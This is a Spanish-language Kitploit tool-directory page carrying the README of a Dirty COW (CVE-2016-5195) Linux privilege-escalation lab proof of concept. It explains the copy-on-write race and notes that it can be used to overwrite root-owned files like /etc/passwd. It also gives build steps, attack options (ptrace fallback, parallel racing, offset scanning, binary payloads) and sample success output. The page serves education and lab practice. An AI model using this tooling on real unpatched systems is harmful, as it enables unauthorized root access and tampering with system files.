Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/mohammadamin382/dirtycow-lab
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónRed TeamingExplotación de BinariosLabs y Práctica
GitHubmohammadamin382/dirtycow-lab

dirtycow-lab

PoC educativo para Dirty COW (CVE-2016-5195) con registro, respaldo de ptrace y soporte de carga binaria.

Ver Repositorio
1hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Dirty COW PoC Educativo (CVE-2016-5195)

⚠️ Advertencia Legal

Este código es SOLO CON FINES EDUCATIVOS. Cualquier uso malicioso está estrictamente prohibido y es ilegal.

📖 ¿Qué es Dirty COW?

Dirty COW (CVE-2016-5195) es una vulnerabilidad de escalada de privilegios en el kernel de Linux que explota una condición de carrera en el mecanismo de copia en escritura (COW) del kernel. Esta vulnerabilidad afecta a los kernels de Linux desde la versión 2.6.22 (lanzada en 2007) hasta versiones anteriores a:

  • 4.8.3
  • 4.7.9
  • 4.4.26

Detalles Técnicos

La vulnerabilidad ocurre en el sistema de gestión de memoria del kernel:

  1. Copia en Escritura (COW): Cuando un proceso mapea un archivo con MAP_PRIVATE, las modificaciones deberían crear una copia privada.
  2. Condición de Carrera: Dos hilos compitiendo entre madvise(MADV_DONTNEED) y la escritura en /proc/self/mem.
  3. Explotación: Bajo condiciones de sincronización específicas, las escrituras pueden evitar la protección COW y modificar el archivo original.

Impacto

  • Escalada de Privilegios: Modificar archivos de solo lectura propiedad de root.
  • Compromiso del Sistema: Potencial para obtener acceso root modificando archivos del sistema como /etc/passwd.
  • Integridad de Datos: Modificación no autorizada de archivos críticos del sistema.

🛡️ Notas de Seguridad para Pruebas

⚠️ CRÍTICO: Pruebe Solo en un Entorno Aislado

NUNCA ejecute esto en sistemas de producción o sistemas que no le pertenezcan.

Entorno de Prueba Recomendado:

  1. Máquina Virtual (VM): Use VMware, VirtualBox o KVM
  2. Contenedor: Contenedor Docker con kernel vulnerable
  3. Laboratorio Aislado: Máquina de prueba dedicada sin datos importantes
  4. Requisitos del Kernel: Versiones del kernel Linux 2.6.22 a 4.8.2

Prácticas Seguras de Prueba:

root@kitploit:~
# 1. Check kernel version first
uname -r

# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test

# 3. Test with harmless files only
./main -t /tmp/test_file -v

# 4. Monitor system resources
top -p $(pgrep -f main)

🚀 Compilación y Uso

Requisitos Previos

root@kitploit:~
# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev

# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel

Compilación

root@kitploit:~
# Standard compilation
make

# Debug version
make main-debug

# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto

Uso Básico

root@kitploit:~
# Simple test with default settings
./main

# Verbose mode with custom target
./main -t /tmp/testfile -v

# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v

# Binary payload from file
./main -f payload.bin -P -D -n 2

Opciones de Línea de Comandos

🔬 Características Avanzadas

1. Múltiples Métodos de Ataque

  • Método 1: Escritura en /proc/self/mem (por defecto)
  • Método 2: ptrace(PTRACE_POKETEXT) para sistemas restringidos

2. Escaneo de Desplazamiento Dinámico

Escanea múltiples desplazamientos de memoria para encontrar la mejor posición de escritura:

root@kitploit:~
./main -D -v  # Enable dynamic offset scanning

3. Condiciones de Carrera Multiproceso

Lanzar múltiples procesos para condiciones de carrera intensas:

root@kitploit:~
./main -n 4  # Use 4 parallel processes

4. Soporte de Carga Útil Binaria

Cargar datos binarios arbitrarios desde archivos:

root@kitploit:~
# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin

# Use binary payload
./main -f payload.bin -v

5. Lógica de Reintento Automático

Reintentar intentos fallidos automáticamente:

root@kitploit:~
./main -r 5  # Retry up to 5 times

6. Verificación de Integridad de Archivos

Utiliza hash SHA-256 para verificar las modificaciones de archivos:

root@kitploit:~
# Check original vs modified file hashes
./main -v  # Shows hash comparison in verbose mode

📊 Salida y Registro

Ejemplo de Salida en Consola

root@kitploit:~
Dirty COW Educational PoC (CVE-2016-5195)
==========================================

=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000

=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible

=== STARTING TEST ===

=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final:    f6e5d4c3b2a1...

=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec

Formato del Archivo de Registro

La herramienta crea registros detallados en exploit_log.txt:

root@kitploit:~
[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec

🎯 Escenarios de Prueba

Escenario 1: Prueba de Funcionalidad Básica

root@kitploit:~
# Test basic exploit functionality
./main -t /tmp/basic_test -v

Escenario 2: Prueba de Estrés

root@kitploit:~
# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v

Escenario 3: Entorno Restringido

root@kitploit:~
# Test when /proc/self/mem is blocked
./main -P -D -v

Escenario 4: Prueba de Carga Útil Binaria

root@kitploit:~
# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v

🔍 Entendiendo el Exploit

Sincronización de la Condición de Carrera

El exploit funciona creando una carrera entre dos operaciones:

  1. Hilo 1: madvise(MADV_DONTNEED) - Le dice al kernel que descarte páginas de memoria.
  2. Hilo 2: Escritura en /proc/self/mem - Intenta escribir en la memoria mapeada.

Factores de Éxito

  • Versión del Kernel: Debe ser vulnerable (< 4.8.3)
  • Sincronización: La condición de carrera debe ocurrir en el momento preciso
  • Mapeo de Memoria: El archivo debe estar mapeado con MAP_PRIVATE
  • Permisos: Debe tener acceso de lectura al archivo objetivo

Por Qué Funciona

Cuando la condición de carrera tiene éxito:

  1. El Hilo 1 descarta la página COW.
  2. Las escrituras del Hilo 2 ocurren antes de que se cree una nueva página COW.
  3. La escritura va directamente al archivo original en lugar de a la copia privada.

🛠️ Solución de Problemas

Problemas Comunes

1. "Exploit falló o iteraciones insuficientes"

  • Solución: Aumente las iteraciones con -i o use múltiples procesos -n

2. "Acceso a /proc/self/mem falló"

  • Solución: Use el método ptrace con la bandera -P

3. "El sistema puede no ser vulnerable"

  • Verifique la versión del kernel: uname -r
  • Asegúrese de que el kernel sea anterior a 4.8.3

4. El sistema se vuelve no responsive

  • Reduzca las iteraciones: -i 1000000
  • Use menos procesos: -n 1

Ajuste de Rendimiento

root@kitploit:~
# Configuración conservadora (más lenta pero más segura)
./main -i 5000000 -n 1

# Configuración agresiva (más rápida pero intensiva en recursos)
./main -i 50000000 -n 4 -D

# Configuración equilibrada
./main -i 20000000 -n 2 -r 2 -D

📚 Recursos Educativos

Información CVE

  • CVE-2016-5195: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195
  • NVD Database: https://nvd.nist.gov/vuln/detail/CVE-2016-5195

Lectura Adicional

  • Gestión de Memoria del Kernel Linux
  • Mecanismo de Copia en Escritura
  • Vulnerabilidades de Condición de Carrera
  • Técnicas de Escalada de Privilegios

🤝 Contribuciones

Esta es una herramienta educativa. Las contribuciones deben centrarse en:

  • Mejorar el valor educativo
  • Agregar características de seguridad
  • Mejor documentación
  • Claridad del código y comentarios

⚖️ Aviso Legal

Este software se proporciona solo con fines educativos y de investigación. Los autores y contribuyentes no son responsables de ningún uso indebido o daño causado por este programa. Los usuarios son los únicos responsables de asegurarse de tener la autorización adecuada antes de realizar pruebas en cualquier sistema.

Al usar este software, usted reconoce que:

  • Solo lo usará para fines educativos legítimos
  • Tiene la autorización adecuada para cualquier prueba realizada
  • Comprende las implicaciones legales de las pruebas no autorizadas en sistemas
  • No usará esta herramienta con fines maliciosos

📝 Licencia

Este proyecto se publica bajo la Licencia MIT solo con fines educativos.


Recuerde: Un gran poder conlleva una gran responsabilidad. Use este conocimiento para proteger y asegurar sistemas, no para dañarlos.

Descargar herramienta
OpciónDescripciónPor DefectoMáximo
-t <file>Ruta del archivo objetivo/tmp/dirty_cow_test-
-p <payload>Carga útil de texto personalizadaTest string-
-f <file>Cargar carga útil binaria desde archivo--
-i <num>Número de iteraciones10,000,000100,000,000
-n <num>Número de procesos paralelos18
-r <num>Intentos de reintento110
-PUsar ptrace en lugar de /proc/self/memDeshabilitado-
-DHabilitar escaneo de desplazamiento dinámicoDeshabilitado-
-vSalida detalladaDeshabilitado-
-l <file>Ruta del archivo de registroexploit_log.txt-
-hMostrar ayuda--